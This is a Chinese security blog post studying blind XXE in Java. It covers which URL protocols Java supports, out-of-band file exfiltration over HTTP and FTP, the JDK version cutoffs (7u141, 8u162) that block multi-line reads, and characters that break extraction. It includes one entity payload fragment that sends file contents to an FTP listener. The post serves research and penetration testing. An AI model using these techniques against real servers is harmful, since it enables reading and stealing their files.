9102年Java里的XXE

之前写过一篇 XXE 的防御,想来过去一年了,只验证可行性和防御措施,实际攻击还没有尝试过,尝试过程遇到无数个坑,这里做一个详细的总结。9102 年了,Java 里的 XXE 危害降低了不少。

本文出现的全部代码在 https://github.com/LeadroyaL/java_xxe_2019

一、背景

最近学习 web 常见 exp 的写法,起手就是一个xxe,但被坑了三天都没有读文件成功,最后发现高版本的 java 使用 url 进行信息外带时,url 里禁止使用 \n ,做了一些研究。

本文只讨论Blind XXE,即没有回显,需要使用 oob 来外带数据。

二、基础知识

1、使用xxe测试java里支持的协议

见LocalEntityDemo.java,成功在xml里使用file协议读文件,并且作为xml内容回显出来。

2、java 里支持的协议

首先,找个不存在协议,用来测试

这个名为junk的协议不存在,并且给出了堆栈,因此可以方便地找到 java 支持的所有协议。

它是在 sun.net.www.protocol  下寻找 Handler  ,通过查看 rt.jar ,共支持如下几个协议:

file 协议读本地文件

ftp 协议获取远程文件

http 协议获取远程文件

https 协议获取远程文件

jar 协议获取本地或者远程的 zip 文件,并且阅读其中某个Entry的内容,如果是目录,则返回空字符串,如果是文件,就返回文件的内容

mailto 协议,没什么鬼用

netdoc 协议,与 file 协议功能非常像,可以少写一个斜杠

没有特别骚的协议,都是常见的,我们可以使用http和ftp进行oob,使用file和netdoc读文件。

3、几种无效的 payload

具体细节我不知道,我只知道如下的三种 payload 是无效的

错误 payload:

服务器收到的是 GET /%s1 ,没有被转为文件内容

 

错误 payload:将 oob写在同一个文件里

报错,不在内部引用
[Fatal Error] step1.xml:4:86: 参数实体引用 “%file;” 不能出现在 DTD 的内部子集中的标记内。

错误 payload:step2.dtd 里注册方法时使用了百分号(按理说要使用&;来转义)

[Fatal Error] step2.xml:2:30: 在参数实体引用中, 实体名称必须紧跟在 ‘%’ 后面。

三、实验步骤

1、使用http 读单行文件成功,多行文件失败,见github的ExternalEntityDemo1 和 LocalHttpServer

环境:win10+jdk8u172

读单行文件成功

读多行文件失败,因为存在\n

2、使用ftp 读单行文件成功,多行文件失败,见github的 ExternalEntityDemo2 和 LocalFtpServer

环境:win10+jdk8u172

读单行文件成功

读多行文件失败,没有传输有效的数据并且报错

3、低版本ftp 读多行文件成功

环境:mac+jdk8u121

这时候我拿出了 Mac,之前装的是8u121 版,攻击成功,返回来两行内容。
同样,我在7u80 版,也攻击成功,目前官网上下到的 jdk7 就是这个版本。

三、Java版本与ftp攻击的关系

18年7月,在微信sdk 的XXE 被公开时,对内渗透测试,我记得很清楚攻击成功了,一年过去了,我再次渗透测试,居然失败了。百思不得其解,综合上面的测试,猜测是高版本改进了 ftp 进行 oob 时的逻辑。

对比一下7u80 8u172的代码(我手头就这两个版本)

同样的地方,8u172 加了限制,图片里字符串中包含一个换行,程序终止。

我的mac也是Java8,但是攻击成功了,那么到底是哪个版本开始加的这个限制呢?

刚好在另一篇文章中看到,有大佬提到过 https://www.angelwhu.com/blog/?p=513 ,多行文件读取和操作系统有关的问题,很可惜,这位大佬没有深究,下面是原文引用:

“这里说明下,在windows环境中我成功读取多行内容,但在linux环境中失败了,因此没有考这个知识点。”

这里略过无数句对 oracle-jdk 和 openjdk 的商业化和版权的吐槽,导致找源码越来越费劲,好在经过一番努力,在 openjdk 源码里翻到了细节,没有具体 commit,只有大致的版本号。

Java7
http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u131-b00/src/share/classes/sun/net/ftp/impl/FtpClient.java
http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/file/jdk7u141-b00/src/share/classes/sun/net/ftp/impl/FtpClient.java#l521

在7u141修的,但我没找到下载链接,只找到了 ReleaseNote https://www.oracle.com/technetwork/java/javaseproducts/documentation/javase7supportreleasenotes-1601161.html#R170_141 ,在18年3月对 FTPClient 做了校验。

Java8
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u161-b00/src/share/classes/sun/net/ftp/impl/FtpClient.java
http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/jdk8u162-b00/src/share/classes/sun/net/ftp/impl/FtpClient.java

在8u162 修的,同样也没找到下载链接,但和预期是一致的。

因此,使用ftp 进行 oob 时,对版本有限制, <7u141 和 <8u162 才可以读取整个文件。

四、对文件内容的要求

测试过程中,发现攻击成功与否与文件里的内容也有关,有两方面注意的:

一方面是在外部实体进行注入时,字符串会拼接上文件内容,文件内容会造成括号的闭合和非预期;

另一方面是 Java 代码处理URL 时,会根据协议遇到某些字符时会有额外的逻辑,例如 FTP 遇到斜杠符号表示cd到子目录。

第一类特殊符号【 % &  ” ‘】见github的bad_char1.txt

【%】 会被认为是实体的一部分,程序抛出异常并且终止。

【&】 会被认为是实体的一部分,程序抛出异常并且终止。

【”】 会与 <!ENTITY % define_ftp '<!ENTITY &#37; send_ftp SYSTEM "ftp://localhost:2121/%file;">'> 中的引号闭合,遇到的话就使用斜杠转义。

【’】 会与 <!ENTITY % define_ftp '<!ENTITY &#37; send_ftp SYSTEM \'ftp://localhost:2121/%file;\'>'>  中的引号闭合,遇到的话就使用双引号。

所以被读取的文件不能含有 【%】 【&】 ,也不能同时含有 【”】和 【’】。

第二类特殊符号 【 / ? \n \r #】见github的bad_char2.txt

【/】 在 URL 里作为路径分割符,http 时没有区别,ftp 时候会让发出的指令发生改变,使用样例 aaa/bbb/ccc/def如下图所示。

可以看到,调试信息中,filename和pathname分开了,按照最后一个斜杠位置来分割。

【?】 是 URL 的关键词,后面的认为是参数,对 http 无影响,对ftp 会形成截断,后续内容不会传输。

【\n】 , 【\r】 在 URL 中会被替换为【\n】,作为换行符处理,对 http 有影响,直接拒绝请求的发送,低版本 ftp 无影响,高版本会触发上文说的检测。

【#】 在URL会被认为是锚点,在http/ftp发包时,不会外带后面的内容,这个可能是URL的一个规范。

五、结论

所有的【\r】 都会被替换为【\n】

如果不包含特殊字符,低版本 ftp 可以读多行文件,高版本 ftp 只可以读单行文件,全版本 http 都只可以读单行文件。

版本限制是 <7u141 和 <8u162 才可以读取整个文件。

如果含有特殊字符 【%】 【&】 会完全出错。

如果含有特殊字符 【’】 【”】 可以稍微绕过。

如果含有特殊字符 【?】,对 http 无影响,对 ftp 会造成截断。

如果含有特殊字符【/】, 对 http 无影响,对 ftp 需要额外增加解析的 case。

如果含有特殊字符【#】,会造成截断。

六、参考链接

https://xz.aliyun.com/t/3357 K0rz3n详细介绍 XXE的先知文章

https://www.angelwhu.com/blog/?p=513 ddctf2018提到多行文件读取可能成功可能失败的情况

https://github.com/enjoiz/XXEinjector 比较全的工具合集,但在本文的案例中并没有发挥作用

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb 收ftp-oob的ruby脚本,在本文中出现过,缺少对数据的处理。


=============================================================
随着访客的增多,LeadroyaL在本站流量的开支越来越多了,曾经1元能用1个月,现在1元只能用3天。如果觉得本文帮到了你,希望能够为服务器的流量稍微打赏一点,谢谢!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*

code